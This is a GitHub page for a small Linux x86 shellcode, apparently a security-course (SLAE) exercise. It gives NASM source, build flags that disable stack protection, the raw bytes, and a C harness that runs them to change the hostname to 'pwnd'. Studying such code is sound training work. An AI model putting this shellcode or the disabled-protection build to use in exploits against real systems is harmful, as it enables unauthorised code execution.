-
Notifications
You must be signed in to change notification settings - Fork 20
/
pwnd.c
89 lines (59 loc) · 1.54 KB
/
pwnd.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
/*
################## Description ####################
; Title : /bin/hostname pwnd - Shellcode
; Author : Hashim Jawad
; Website : ihack4falafel[.]com
; Twitter : @ihack4falafel
; SLAE ID : SLAE-1115
; Purpose : change hostname to pwnd
; OS : Linux
; Arch : x86
; Size : 44 bytes
################### pwnd.nasm #####################
global _start
section .text
_start:
; push NULL into stack
xor eax, eax
push eax
; push (////bin/hostname) into stack
push 0x656d616e
push 0x74736f68
push 0x2f6e6962
push 0x2f2f2f2f
; store ESP pointer in EBX
mov ebx, esp
; push NULL into stack and EDX
push eax
mov edx, eax
; push (pwnd) into stack followed by NULL
push 0x646e7770
; store ESP pointer in EDI
mov edi, esp
; push EBX, EDI, EAX into stack
push eax
push edi
push ebx
; store ESP pointer in ECX
mov ecx, esp
; execute __NR_execve syscall
mov al, 0xb
int 0x80
################### pwnd binary #####################
nasm -f elf32 -o pwnd.o pwnd.nasm
ld -z execstack -o pwnd pwnd.o
################### Shellcode #######################
objdump -d pwnd -M intel
################## Compile #######################
gcc -fno-stack-protector -z execstack pwnd.c -o pwnd
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xc2\x68\x70\x77\x6e\x64\x89\xe7\x50\x57\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}